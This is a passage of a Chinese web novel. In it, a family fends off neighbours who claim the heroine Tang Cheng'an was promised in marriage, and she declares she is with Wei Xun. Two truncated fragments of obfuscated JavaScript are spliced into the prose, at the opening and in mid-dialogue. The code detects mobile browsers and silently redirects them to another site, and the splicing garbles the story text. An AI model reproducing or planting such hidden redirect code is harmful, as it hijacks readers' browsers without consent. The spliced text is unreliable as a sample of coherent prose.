唐成泰耸耸肩故意卖关子,面色稍微放松了些:“就是字面意思。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910365|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 唐成安还是不明所以,三步做两步来到他身边逼问:“我不懂,你,你解释清楚。” 唐成泰低头看见小妹认真的神情,肩头耷拉下来,深深吐出一口气。 他轻轻揉了揉唐成安的头顶,声线温柔得像在哄小孩儿:“我要是说了,你得向我保证不能哭哦。” 氛围在压抑的墨色夜空下越来越沉重,唐成泰的铺垫让他要说的话更加神秘。 “好,我答应你,”唐成安从来没有这么认真过,“你尽管说。” 唐成泰若有其事地清了清嗓子,拉着唐成安在门口的石阶上坐下。 “其实我瞒着你问过魏寻……问他为什么十年都不联系你。”唐成泰吐字沉重。 “哎呀,问这个干什么?不联系就不联系呗,也不是时时刻刻都必须要见到对方啊!”唐成安还是那副无所谓的说辞,“不联系说明没出什么大事呀,人在外地,还是平安最重要。” 唐成泰才不吃这一套,用力敲了一下她的脑门: “怎么可能没关系?也就只有你这个大大咧咧的丫头才觉得没关系吧?” “一天、一周,或者一个月不联系都能勉强过得去,那可是十年啊,十年!” 唐成安似乎也找不出别的理由,再嘴硬反倒显得自己更加心虚,于是哑了声,默默听着。 “就算你是真的不在意,可我这个做哥哥的在意。”唐成泰继续说下去,“所以我干脆直接当面问了他。” 唐成泰特意停顿了一下,转头直视唐成安,话中有话似的:“你猜他怎么回答的?” 唐成安一瞬间手指发凉,心神不宁。 她自己都不知道,到底需不需要这个答案? 秋夜的寒凉终于在此刻席卷全身,凉意仿佛穿过皮肤直直刺入骨髓。 “他没有说话,”唐成泰不再卖关子,抬起头望向默然的天空,“可是沉默也是一种回答。” “如果他其实不喜欢你,那么沉默就是一种体面的告别,所以你必须要死心。” “如果他真的有什么难言之隐,能喜欢一个人十年,对那个人恐怕已经不再是单纯的喜欢,而是成为一种执念了吧。” 唐成泰自说自话也觉得无聊,默默从口袋里掏出一根香烟点上。 在夜幕的映衬下,燃烧的白烟和火星纠缠在一起更加扎眼,弥散的烟雾如同真相一般扑朔迷离。 “其实联想到你自己身上就容易懂了,当初你那么喜欢魏寻,不也还是做不到十年后依旧喜欢原来那个人?” “所以你就这么有信心,肯定魏寻就能做到?” 夜渐深,温度也随之骤降,只套了一件薄外套的唐成安有点耐不住低温,双臂环抱住膝盖缩了缩身子。 唐成泰的余光察觉到了她的抖动,主动脱下自己的外套给她披上。 “魏寻嘛,人是挺不错的,聪明、温和、有礼貌,就是不够坦诚。” 唐成泰嘴里叼着烟,所以口齿不太清楚,好在周围足够安静,唐成安也能勉强听清。 “我的小妹妹绝对值得更好的!”说完还竖起了一个大拇指。 唐成安面对恢复老样子的唐成泰反而放松下来,皱了皱鼻子调侃他: “哟,没白费我苦等二十多年,你可算有个哥哥样儿了啊?” 唐成泰毫不客气收下赞美:“那当然,我对你的爱是比父爱还深沉的大山。” “您的这份深沉大爱还真是把我感动到差点松口,要把你的联系方式推给一个你的迷恋者呢。”唐成安受不了唐成泰突然的肉麻,忍不住揶揄两句。 唐成泰歪过头与她对视,捻住嘴里的烟蒂在地上按熄,笑得痞痞的:“告诉那个小姑娘,别暗恋哥,哥的感情境界一般人可追不上。” 唐成安只觉得他越来越不要脸了:“呵,到什么境界啦?不如让我见识见识?” 仿佛是被戳中了什么心事,唐成泰一直低头不断重复熄烟的动作,石阶表面都被他按出一个不小的烟灰圈。 明明刚刚还颇为傲娇的他,这时却没了声响。 唐成安以为是自己说错话了,轻轻推了一下他的肩膀:“哟,不会是谎话不会圆了吧?” “谁说的?” 唐成泰迅速转过头来反驳,只不过和他坚定的语气相反,脸上挂着的是十分勉强的苦笑。 “哥哥我啊……”唐成泰懒散地双手往后一撑,尾调拖得长长的。 “爱上了一个不该爱的人。” 27. 《奋斗》 还一本正经地说魏寻不够坦诚呢,唐成泰自己也是突然没了下文。 唐成泰没头没尾的一句话应该是故意吊胃口,话中真假尚难猜测,想必如今追问他是不可能的了,所以唐成安没打算继续深究。 不过他以哥哥的身份推心置腹同她讲的那些话,并不是全无道理。 「“魏寻嘛,人是挺不错的……就是不够坦诚。”」 一系列头头是道的分析下来,唐成安心里似乎更加理不出头绪。 魏寻欲言又止的背后,到底想遮掩这十年空白中的什么呢? 她想得出了神,手指有节奏地敲打桌面,眼神上瞟注意到空荡荡的显示屏。 原封不动的默认桌面看着令人感到沉闷,唐成安随意用鼠标乱点了一通,怎料画面莫名开始抖动,噗嗤一声变成黑屏。 “诶!这破电脑!”她出气似的狠狠拍了一掌机罩,塑料壳子的震动连带飞扬起细小的灰尘。 “哎呦,谁惹你不开心啦?” 赵姐冷不丁探头进来冒出一句,正巧瞧见这一幕,唐成安扫扫灰连忙拉开座椅招呼她坐下。 “你这丫头,怎么就来上班了?”赵姐指责之余还有心疼,“不怕那些老家伙再找你麻烦?” 唐成安下意识摸了摸额头上的伤疤,自从搽过魏寻给的药膏,伤口便很快开始结痂,如今也差不多快要脱落了。 她歪个头露出无奈的笑:“你也知道我这个人,怎么可能闲得住呀?” 唐家三兄妹虽说都是打一个娘胎里出来的,可唐成安偏偏既不像爹又不像娘,反而和他大哥简直是一个模子里刻出来的,都是爱操心的主儿。 也许多少有可能是从母亲那儿遗传的,但唐成安这辈子都没法求证。 偶尔压不住好奇心向街坊邻居打探,他们也只会齐刷刷地摇头否认。 「“你妈就是个不负责的人。”」 「“你妈那个人成天往外跑,哪里顾得着家啊?”」 「“你妈那种人啊,别说是你爸了,哪个男人都看不住!”」 …… 在众人口中,母亲成了一个比唐玉山还令人鄙夷的罪人。 好像抛家弃子的女人,就是罪大恶极。 所以就算再不靠谱的唐玉山,对比母亲而言,在外人眼里似乎都显得没有那么不堪。 有时唐成安会想,母亲和唐玉山结婚十多年都没留下一张照片——结婚照也没有。 或许他们就是不相爱的。 可是这么多年,除了唐玉山,就连唐成国和唐成泰也很少提起母亲。 相比起怀念,这两个与母亲好歹相处了几年的儿子,更多的时候都是在借她的出走来谴责无所事事的唐玉山罢了。 会有孩子不爱妈妈吗? 但妈妈不爱他们三个应该是真的吧。 她知道二十多年来没有传来关于母亲的任何消息,就已经说明了她的决心,只不过还是会忍不住去猜。 “哎呀,不过现在来了也没事,”赵姐一副惬意的样子,双手抱在胸前往后一靠,“反正危机都解除了。” 唐成安不明白她在说什么:“什么意思?” “你应该是不知道。” 赵姐立即直起半个身子,扑在办公桌上向唐成安凑近,另一只手挡住嘴巴,好像要说个惊天大秘密。 “我刚刚去老板办公室附近打扫的时候看见阿寻领了一个黑黑的小伙子进去,手里拎了好大一个箱子!” 唐成安没有吭声,她猜想赵姐口中那个跟在魏寻身后的陌生小伙子,八成就是周胜天。 “后来我从门缝里偷偷瞄了一眼,你猜怎么着?” 果不其然,上了年纪的女人聊起八卦来,那是相当懂得怎么恰到好处地拿捏听者的兴趣。 唐成安应和地摇摇头,赵姐才肯继续说下去。 “那箱子里全是红艳艳的钞票哇!整整齐齐叠成一沓,挤满了整个箱子,我看少说也有个几十万,上百万都有可能!” 不光是赵姐惊呼不可思议,唐成安也受惊不小。 “魏寻怎么会有这么多钱?!”唐成安明显是被冲击后搞不清楚状况,甚至反问起毫不知情的赵姐来。 “我哪晓得啊?”赵姐猜测,“好像就是因为这些钱缓解了乐兴的困境,老板他又把之前裁的员招回来了一部分,要不然你这办公室哪会这么安全?” 唐成安原以为办公室这么清净是那些闹事的人闹累了,她想,即便有一两个漏网之鱼她也能应付得了。 谁想到竟然是因为魏寻和周胜天吗? “阿寻他是不是在北京赚到很多钱啊?”赵姐又重新坐下,不知道从哪里掏出一把瓜子,津津有味地闲聊起来,“可我看他那个样子,不太像什么有钱人哪!甚至还不如他小时候精神呢。” 魏寻年纪还小的时候,因为白皙的皮肤和清瘦的骨骼,整个人比很多女孩子还要清秀。 年级第一的优异成绩更是让他成为无数家长口中“别人家的孩子”,都对他欣赏不已。 要不是唐成安及时出手,魏寻早就不知道成了谁家的预定佳婿呢。 哪想到这一趟回来,简直就是“男大十八变”,让那些常常用他来激励自家孩子的家长一个个哑口无言。 唐成安:“没有啦,那个钱不是魏寻出的,跟他一起来的那个小伙子是他在北京认识的朋友,他们有一个特别有钱的兄弟,钱应该是那位少爷出的。” “嗯……这倒有可能,我怎么看他也不像个有钱人。”赵姐越想越觉得唐成安说的有道理。 也是,厚重的眼镜加上毫无品味的格子衫,一夜就能冒出头的胡茬和闷闷的性格,唐成安第一次见到回来的魏寻也觉得他埋汰。 只有向才申那种从里到外都把自己修整得整整齐齐,时不时就甩出个大金表在人眼前晃悠的人,才真的像个一般人眼中的有钱人。 “不过他还是和你说了挺多的嘛!连身边那么亲密的朋友都介绍给你了。” 即使两人已经将分手宣言公之于众了,但街坊邻里还是忍不住调侃几句,赵姐当然也不例外。 “也,也没说很多……”唐成安莫名感到一阵心虚,“我其实就只知道这一点点。” “连你都不说?那这孩子还真挺狠心的。” “狠心?” “对啊,离开南州十年都没有消息,整个人跟人间蒸发一样,”赵姐说到这就隐隐约约透露出对魏寻的不满,“南州真就没有值得他挂念的人啦?” 其实当初收到魏寻夹在本子里写着要离开十年的字条时,唐成安并没觉得有多困难。 那时毕竟已经不是七八十年代了,通讯设备各地都有普及。 就算魏寻没有移动电话,但当时几乎家家都配备了座机啊。 只不过唐成安担心平时上课会错过接听,所以还是亲笔写了十封信交到魏寻手里,信里非常隆重地夹着一张粉色卡纸,写的正是唐家座机号码。 然而日复一日独自趴在哑了声的座机面前,她也渐渐没了底气。 应该是太忙了吧? 是不小心弄丢了那张电话纸吗? 说不定是唐成泰那个死心眼的故意消除了来电记录? 各种猜测不如行动。 唐成安不再胡思乱想,一拍大腿直直奔向福利院。 来来回回好几趟,她才终于如愿以偿见到院长,没想到却是另外的一张面孔。 后来她才知道,原本的院长调职去了省城,整个福利院偏偏刚好只有她存有魏寻的联系方式。 唐成安对于结果有些惘然。 但是转念一想,如果老院长也在省城,估计魏寻会因此减少很多麻烦吧。 日子过得顺心,也就没必要打电话过来说些没意义的寒暄。 她就这么自己哄着自己,放弃了蹲守在座机前的日常。 只是她没想到,对于魏寻断绝音讯这事,似乎只有她想得开,其他人多多少少都对此颇有微词。 “也不知道这孩子十多年经历了什么,这次回来我看他总觉得哪里不对劲……”赵姐把口袋里的瓜子嗑完,接着又抓了一把放在唐成安桌面果盘里的花生。 哔啵裂开的外壳掉下细小的粉尘,惹得人不得不站起来抖落。 “怎么个不对劲?” “就是感觉他现在对人笑的时候……眼里是冷冷的。”赵姐回忆起这段时间见过的魏寻,忍不住咋舌。 “没有吧?”唐成安极力回想自己和魏寻的相处,并没有感觉到赵姐说的异常,“我觉得笑得很正常啊。” 赵姐可不赞同唐成安的观点:“你太年轻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946161|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看不出这些,那眼神保准不对。” “嘶——”赵姐忽然想到了什么,“你说他会不会是在北京见过大世面,所以现在瞧不起我们了?” 唐成安一听这话就控制不了脸色,表情瞬间阴沉沉的。 赵姐也是神经大条,压根没注意到她的变化,还在自顾自发散思维。 “还是说在北京混不下去,跑来南州赚我们的钱?” “诶诶诶,我觉得八成有可能是他在北京惹上什么麻烦,所以关于北京的事他一字不提,现在回南州属于是躲仇家……” 没等赵姐继续发挥想象力,唐成安便难得沉着张脸推搡她出去,同时还刻意提高音调打断她的胡言乱语: “人家的事你也别瞎猜,赶紧开始工作吧,要不然绩效统计你可得吃大亏。” 赵姐不情不愿地被推出办公室,嘴里嘟嘟囔囔还想说些什么,唐成安却没有心思听她讲话。 她只是觉得,原来魏寻要克服的困难是难以想象的。 他视为故乡的南州,当作亲人的邻里,其实都在与他的理想背道而驰。 众人的质疑和魏寻的不解释,二者仿佛陷入了死循环。 唐成安曾想为他辩解,但意识到魏寻对她也藏有秘密的时候,就只剩下有心无力。 走廊的风穿堂而过,入秋后的北风比平时加剧了眼睛的酸涩,唐成安忍不住闭眼用指腹反复按摩。 “成安?是你吗,成安?” 熟悉的声音从她耳畔响起,等到她睁开眼适应光线后,面前就出现了几位“不速之客”。 一对中年夫妇满脸迎合地直奔唐成安而来,身后躲着一个年纪不大的小女孩。 “哎呦,真是你啊!”男人笑容并不单纯,浑身上下透露一股谄媚的味道,在唐成安面前强行套近乎,“还记得我吗?” 唐成安被他挂在表面的热情吓得后退几步,脸上扯出礼貌的笑容:“呃呃,记得记得,刘叔好。” 眼前的男人是唐玉山二十年前在百货商店工作的同事,在那个年代算是个收入不错的工作。 可要不怎么说“一个被窝睡不出两种人”呢?和唐玉山有交情的人,多半和他没差。 唐玉山当年不出所料因为懒散被辞退,这位刘叔则是手脚不干净偷拿了店里的东西,最后被迫赶到乡下务农。 明显他的妻子也是位农民,夫妇二人洗得发白的衣服可以看出生活的拮据。 “可算找到你了,你爸他还好吗?” 刘叔一个箭步上前握住唐成安的手,突然的亲密让唐成安心里很是别扭,但出于礼貌她也没有抽开。 掌心厚厚的老茧不断摩挲着唐成安手背,惹得她浑身不自在。 “他,他还是老样子,一天到晚不干正经事。”唐成安说起客套话,“刘叔你们呢?” “哎,干农活嘛,都是靠天吃饭,生活只能说勉强过得去。” “你们有什么难处尽管提,如果我能帮上忙一定帮。” 正常人都听得出唐成安这是在客气,但刘叔看她的表情却不对劲。 他双眼上下打量了一遍唐成安,眼神像是在审视一件买卖的商品,笑眯眯的眼角隐约透露出别样的心思。 他的两只手依然紧紧包住唐成安,尽管没有说话却握得越来越紧。 他的动作让唐成安后背一凉,也顾不上什么礼节,只想赶紧把手收回去别到身后。 “对了,刘叔,你们来县城有事吗?”唐成安立刻转移话题。 “噢噢,来找你爸,有大事和他商量。” “他现在应该在家,要不我领你们过去?” “好好好,这当然好。” 唐成安总算松了一口气,窝在家里的唐玉山和唐成泰在此刻难得充当了一回救星。 让她一个人和这不明来意的一家人待在一块儿,她还真觉得有点渗人。 她刚准备转身,又被刘叔叫住了。 “诶,你这孩子,怎么不叫人?” 刘叔从他妻子身后拉出那个小女孩,女孩或许有些怕人,眼神怯生生的。 唐成安为了表现自己没有敌意,主动蹲下露出一个和蔼的笑容。 女孩表情楞楞的,应该还是害羞,吞吞吐吐半天才对着唐成安叫出来一句: “嫂子好。” 28. 《神雕侠侣》 这下原本就鸡犬不宁的唐家可谓是火上浇油,场面不知道能让周围人当多久的闲话谈资。 “唐玉山你给我好好想想,自己到底干了什么浑事!”尽管声线颤抖,唐成安还是努力打起精神却依旧盖不住委屈,“你不说话是几个意思啊……” 唐玉山缩着身体静静坐在卧室的凳子上,交叠的双手显得有些无措,耷拉脑袋一言不发。 他的沉默与其说是无力辩解,不如说可能连他自己都不清楚是怎么一回事。 门外是唐成泰与刘叔一家极力斡旋的身影,门内的唐成安面对不给任何反应的糊涂爹,沮丧地扑在桌上失声痛哭。 她好不容易接受妈妈不要她的事实,如今爸爸也不知道什么时候早早把她卖了。 她原以为唐玉山虽然好赌,但至少还有基本的良心,黄和毒一概不沾。 哪怕有时候运气不佳输光了钱,也不会打卖儿女抵债的主意。 如今这事给她当头一棒,终于让她明白,亡命赌徒才不会有什么良心可言。 “哎呀,老爹!”唐成泰拦不住外面刘叔一家闹事的架势,破门而入拉起唐玉山就往外扯,“你惹的祸,还是你自己赶紧去搞清楚到底怎么一回事吧!” 拉扯中他用余光看见了蜷缩在桌子上的唐成安,她单薄的肩膀承担不起突如其来的意外,抽泣声和剧烈的颤抖交织在一起,垂落的头发也遮挡不住此时的崩溃和委屈。 他默默叹出一口气,满眼心疼和无措,无声地替她关上房门。 门锁落入锁孔的瞬间,周遭的吵闹声才清净下来,唐成安只觉得此刻的自己像一只搁浅的小鱼,漫漫大海终将忘记她而默默远去,无人挂记。 “嘿!老唐,你可总算出来了。” 唐玉山刚被拽出门,刘叔便一个跨步靠上前,抓起唐玉山的手顺势搂上肩膀,动作没有分寸。 “你这老家伙,躲在屋子里干什么呢?嫁女儿的事总不能让成泰一个做哥哥的做主吧?你这一家之主不得出来威风威风?” 唐玉山皱着眉打下他的手:“不,不是,我什么时候答应把女儿嫁到你家了?” “你可别不认账啊!”刘叔听了唐玉山这话,意识到他想赖账,情绪立刻激动起来,“五年前是你亲口告诉我的!” 刘叔的妻子见状赶紧将刘叔拉到身后,也许是担心刘叔的脾气会坏了这门好亲事,脸上重新挂满了逢迎的假笑,笑容却像是强行挤出来似的,嘴里又补充道: “老唐,你放心,我们家不会亏待成安的,该安排的我们都安排好了,现在就等你的一句话,我们马上接新娘子回婆家去!” “你们都安排好了?”唐成泰有些听不下去,怪声怪气地质问道,“我们家还没点头呢,你们倒是自作主张全都安排好了?” 唐成泰语气不太好听,但为了换回唐成安,刘叔一家也只能咬咬牙忍着。 唐成泰上下打量这一家三口虚伪心机的样子,越看越气恼,说出口的话已经顾不上什么措辞委婉的规矩了: “据我所知,刘叔你被辞退后一直在家务农吧?不光你务农,还要带着全家一起务农,这全家老小上上下下一年能有五万块么?” “而且你家那个大儿子先不说比成安大多少了,比我都要大一岁,您觉得这合适?” “丑话说在前头,就你们家这条件,到底能安排什么好东西啊?” 比起唐玉山这个木头脑袋,唐成泰此刻倒是个清醒人,细细盘点了面前自称“亲家”的两人,嘴里不饶人。 刘叔老婆明显知道这话中的潜台词,脸上的表情逐渐僵硬,尴尬地与刘叔面面相觑了几眼,又转过头来再次挂上一脸浮夸的笑。 “哎呦,成泰啊,我知道你们家嫁女儿肯定是不愿意让她过去吃苦的嘛!所以就算我们家条件确实不算优越,但是我们也是看着成安长大的呀!怎么可能会亏待她的啰?” 真可谓“死猪不怕开水烫”,没想到唐成泰赤.裸.裸抛出一个这么现实的问题也击退不了这家人,反而似乎还助涨了士气。 刘叔老婆也不知道从哪里来的底气,挺起胸膛就和他们掰手指细数自己家为这场婚礼操办的心意。 “我们家这边几年前就准备好了‘三响一转’,手表、自行车、收音机、缝纫机一个不少,作为彩礼够有面子了吧?”刘叔一家自说自话还一脸得意洋洋,“婚礼我也早就在村里最好吃的饺子馆约好了,到时候保证每人一盘大饺……” 刘叔老婆话音未落,取而代之的是急促的跺脚声以及扫帚打在身上的哎呦叫唤。 “滚!滚蛋!!”比惨叫更震耳的是唐成泰气势汹汹的怒吼,紧张的空气一点就燃。 一次接一次,扫把落下的频率越来越快,破空声仿佛催命的长鞭,不留情面地迅速将刘叔一家赶到院子里。 被唐成泰打得连连后退的刘叔好不容易在院子中央站稳脚跟,扫把上的灰尘落满了他的肩膀,惹得人不停咳嗽。 “咳咳……唐成泰!你疯了吧?!”事到如今刘叔也摆不出好脸色,身上被打后隐隐作痛的淤青为焦灼的形势添上一把火。 唐成泰气势也不弱他半分,恶狠狠把扫帚朝地上砸下去:“我看你们家才疯了吧!” “‘三转一响’这种三十年前的东西你现在还有脸提?你们是不是脑子被心心念念的大饺子堵住了都不知道啊!?” “这是让我们家嫁女儿还是卖女儿啊!” 刘叔一家被这么一反问顿时哑口无言,身后还时不时传来躲在大门口看热闹不嫌事大的街坊邻居的窃窃私语,一前一后把他逼得恼羞成怒,迎面冲向唐成泰与他扯着领子扭打起来。 刘叔一个上了年纪的中年人自然打不过唐成泰,却由于太好面子即便知道结果也死死拽着唐成泰的头发不肯放手。 唐成泰也是被这家人逼急了,全然没有控制力气的想法,两个人几乎到了要拼得你死我活的地步。 争执声和议论声交杂在一起,站在一边的唐玉山等人想要劝阻却无法插手,只能干着急。 这场闹剧最后是在唐成泰卯足了力气朝前挥了一拳以及看戏群众的惊呼下停止的。 “阿……阿寻……”唐成泰瞬间熄了火,面对突然到来的魏寻目瞪口呆。 魏寻吃痛地揉了揉被唐成泰误伤的半边脸,等伤处缓过劲来他便率先将二人拉开距离,暂时避免了事情继续闹大。 刘叔眼睛悄悄开了一条缝,直到亲眼看见魏寻挡在自己前面的背影,这才缓缓放下护着脑袋的胳膊。 魏寻淡淡地开口,没有偏袒任何一方的意思:“打人不是解决的办法,和我讲讲事情的始末吧。” 刘叔不认识魏寻,还以为他是给自己撑腰的,于是立马换了一副嘴脸,从口袋里掏出一张老旧的字条,信誓旦旦地展开给他看: “还是年轻人明事理,来来来,你看看是他们有理还是我有理?” 魏寻接过纸条,只有一个手掌的大小,纸面被长时间折叠,上面的墨迹已经变得模糊不清,人必须小心翼翼捧在手心。 “这白纸黑字写得清清楚楚,他唐家早就对我承诺过,明明就是他们欠我们家的!”刘叔刻意冲着门口围观的众人大声强调,用意显而易见。 纸条上歪歪扭扭只有几个字—— 「我承诺,等到女儿唐成安满二十后,将她嫁给刘军。 承诺人—— 唐玉山。」 既没有承诺双方的基本信息,也没有具体的签字日期,只能从已经毛燥的边缘推断出大致年份。 “叔,你这没用。”魏寻短短一句话无疑给他们泼了一盆冷水。 又一次遭到否定的刘叔这才恍然大悟魏寻的立场,二话不说重新夺过他手中的纸条,对魏寻也升起敌意: “你这小伙子不懂就不懂,在这里瞎说干什么?这上面的每个字都没有作假,不信可以去法庭上对峙,让法律评评理!” 唐成泰扶着额头无话可说——毕竟纸条最下面的落款,那几个写得像甲骨文一样的字体,除了唐玉山,还真不可能是其他人的手笔。 魏寻倒还是和平常一样波澜不惊,情绪似乎丝毫没有被几句话激怒: “《中华人民共和国宪法》明确规定,婚姻自由是公民的基本权利之一,任何组合和个人不得干涉 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魏寻估计也没料想到这家人到了这个地步也不懂见好就收的道理,居然还恬不知耻地打着扯唐家下水的算盘。 眼见唐成泰的拳头已经举到半空,下一秒就要冲上去的态势,他不得不急忙上前拉住冲动的唐成泰,心里极速组织新的说辞。 两家又要打起来的阵仗简直是把刚刚那段对峙抛之脑后,气氛愈发紧张。 “够了!” 唐成安从房内出来,脸侧还有少许几根贴在皮肤上的发丝,红肿的双眼失去了原本明亮的色彩。 “谁说我没人要的?” 她坚定地一步步走向魏寻,右手牵起他的左手,从指尖缓缓相扣,另一只则轻轻附在他上臂的一侧: “南州人谁不知道?我和魏寻早就在一起了。” 魏寻显然对唐成安的举动没有心理准备,楞楞地低头注视她。 唐成安的体温仿佛沿着上臂的肌肤渐渐蔓延至心脏,可是直到红潮涌上魏寻的脸颊,他才慢半拍反应过来。 他的眼神紧紧抓着身旁的唐成安,错愕和难以置信的同时,还有一抹不明来由的害怕。 “所以真正没人要的——是你儿子吧?”唐成安语气温和,但也不带有一丝的妥协。 她似乎想到了什么,故作一惊一乍的语调:“呀,你们这么着急想把我这个心有所属的大龄剩女娶回去,这是想玩一套‘棒打鸳鸯’的戏码,还是说……” “默认我可以搞婚外情啦?” 要不怎么说“恶人自有恶人磨”呢? 唐成安一句轻飘飘的调侃比魏寻苦口婆心同这群流氓讲道理更管用,顿时引得刘叔一家黑了脸。 聚在门口的群众也因为这一句话纷纷咯咯咯地偷笑起来,嘲讽和羞辱让这不怀好意的一家人拉不下脸,成为众矢之的。 刚刚叫嚣的假把式瞬间被折断,原本想逞风头的刘叔眼看吃了瘪,又羞又恼地转头扒开人群就走。 落在后头的两母女急忙跟上他,羞愧难当的刘叔老婆临到门口仍不忘向唐家甩一个白眼,眼神阴鸷可怕,口中暗暗咒骂了一句: “破鞋。” 魏寻从口型中读出她的意思,就连往日里一向持重沉稳的他也几乎按捺不住情绪,正准备上前理论,却被一股阻力牵制住。 ——是身后的唐成安。 二十厘米的身高差从未像今天这样让魏寻感到如此明显,唐成安体型瘦弱,浑身瑟缩地躲在他的身后,映在眼眸里的身影如同一只受伤的小鸟。 她的双手只是浅浅抓住魏寻的指尖,额头悄声搭在他的肩膀后侧。 也许是距离太近,粗重的喘息声从耳畔传来,魏寻知道这是唐成安强撑不住却也不甘示弱的倔强。 他默默收回迈出的步子,将唐成安安静地挡在身后。 夕阳的余晖将远处的山峦勾勒出一道道金边,橙红色的天幕缓缓下沉,无声无息地将二人的影子拉得长长的。 魏寻的身影恰好足够高大,温柔和缓地包裹住了全部的唐成安。 29. 香飘飘奶茶 “散了吧!有什么好看的!”唐成泰把院门关上,大声驱赶围观的人群。 大部分人都识相地逐渐散去,只有极个别依旧不甘心就这么结束,一步三回头还想从门缝里多看几眼。 唐成泰板着张脸不留情面地将大门锁上,这些人眼见吃了闭门羹才肯怏怏离去。 “真是的,平常不见人影,一有热闹蹭蹭蹭全冒出来了。”唐成泰锁着眉低声嘟囔抱怨,不过倒有几分贼喊捉贼的意味。 他刚转过头来,就看见唐成安靠在魏寻肩上,两个小年轻藏在背后暗戳戳牵手的小把戏可逃不过他的“火眼金睛”。 他极力装作没看见想要不知不觉绕开他们,使劲憋笑导致他脸上的表情扭作一团。 然而唐成安却没有接下他二哥的这份“好意”,明明上一秒还牢牢依偎在魏寻肩膀上,下一秒就一声不吭松开手扭头走进屋里。 唐成泰被她这阴森森的反应吓到了,木木地停在原地一动不敢动。 魏寻也急忙收回手背在身后,心虚地与唐成泰尴尬对视,勉强扯了扯笑容。 “阿,阿寻,这次也多谢你帮忙,”唐成泰打破尴尬的氛围,率先转移话题,“误伤的地方还痛吗?” 魏寻微笑着摇摇头:“没事。” “对了,你怎么今天突然来我们家了?” “啊……我,我来找成安商量事情!” 果然人在心虚的时候会不自觉提高音调,唐成泰一眼便看出了魏寻的伪装。 他上下反复打量着魏寻,引得魏寻颇不自在,各怀心事的两人面面相觑,一时间竟不知如何开口。 “所以今天到底是怎么一回事儿?”魏寻先一步打破沉默。 唐成泰松了松肩膀,朝躲在角落里畏畏缩缩的唐玉山白了一眼:“老头子作孽,自己都忘了是什么时候欠的债。” “唐叔,那张纸条真是你写的?” “哎呦喂,阿寻哪,我哪有这个胆子啊?”沉默许久的唐玉山极力为自己辩解,“我就算再糊涂也不能动卖女儿的心思哇!” 唐成泰显然不吃这一套,弯腰捡起刘叔一家扔在地上的纸条,纸条被气恼地揉成一团,又被他仔仔细细展平。 他举起纸条对着天空揣摩,阴阳怪气讽刺道:“不是你写的?这张纸条上一笔一划都是你的笔迹,难不成有神仙做法陷害你?” 唐玉山急了,两条风湿老寒腿头一回见到能跑这么快,一个箭步夺下唐成泰手里的纸条,像碾豆腐一样把纸条撕得稀碎。 “陷害!肯定是那个刘国强陷害我!”唐玉山情绪失控,“说不定是拿我之前在商店工作的笔记一个字一个字摹上去的!这一家人都不是什么好东西!他们就是想看我唐玉山身败名裂!” “对……对!肯定是这样的!他刘国强就是小心眼儿,见不得我们家比他们好!” 唐玉山一副咬牙切齿骂娘的气势,就差随便在院子里找几个锅碗瓢盆砸地上奏出些响声,正巧给他这段发自肺腑的控诉助助兴。 魏寻担心他年纪大了动气伤身,刚想安抚几句,唐成安却不知道什么时候重新回到院子里。 她将手上的外套塞到魏寻怀里,握住他的手腕就往外拉,无奈瞟过一眼气急败坏的唐玉山:“一天天上蹿下跳的闹这么大动静,也不知道想做秀给谁看。” 魏寻被她这么一拉,险些绊个趔趄,然而唐成安依旧头也不回地将他领出门外。 身后唐玉山泼皮耍赖的声响随着拉远的距离逐渐减弱,面前的唐成安一言不发,直直向某处走去。 魏寻的骨架稍大,唐成安一只手没办法包住全部手腕,所以女孩柔软的指腹只能轻轻按压在他的尺骨附近。 魏寻知道他必须认真点——因为那是脉搏跳动的地方—— 是唯一藏不住心跳的地方。 柔和的夕阳从香樟的缝隙中撒落而下,温熙的光线映照在唐成安白皙的皮肤上。 她的鼻尖因刚才的哭泣泛起淡淡的红晕,晚霞不知何时悄悄遁入她的双眸,剔透的琥珀色里似有星点般的灿烂。 魏寻就这么乖顺地跟在身旁,彼此没有太多言语,也不关心道路的尽头究竟会通往何处。 道路两旁矗立着的低矮楼房陆续亮起客厅的灯光,原本灰白的光线透过蓝色玻璃窗映出天空般的幽幽湛蓝。 小卖铺也开始先后收拾起余下的商品,卷帘门呼啦啦碰到地面,门口的大音响还放着朴树《NewBoy》的曲调。 魏寻走在路上有些怔神。 南州的实景无数次与记忆重合,简单的小县城竟然也能让他足以短暂地忘却北京城周身令人艳羡的繁华。 原来,幸福真的是一件简单的事。 - 和张伯打过招呼后,唐成安再一次牵着魏寻来到了信号台。 余晖已经褪去,晴朗的夜幕悄然冒出第一枚星点,坐在信号台的阶梯上,蓝黑调的天空都仿佛触手可及。 “喏,赔罪礼,”唐成安用胳膊肘碰了碰魏寻,“斥巨资买的香飘飘。” 魏寻转头望去,唐成安不知道什么时候冲泡了一杯奶茶,顶部蒸腾的热气在稀疏光线中愈加明显,香芋气味从杯口溢出,在晚风的吹拂下包裹住全身,暖洋洋的。 唐成安打开塑料盖,轻轻吹散最上层的浮沫,挨着魏寻坐下:“对不起啊,今天又给你惹麻烦了。” “你怎么总是向我道歉?”魏寻低低笑出声。 唐成安瘪瘪嘴:“谁知道呢?上辈子欠你的呗。” 面对唐成安的小机灵,魏寻这个平常总是被人调侃的木头脑袋倒是出人意料地每一次总能接得住。 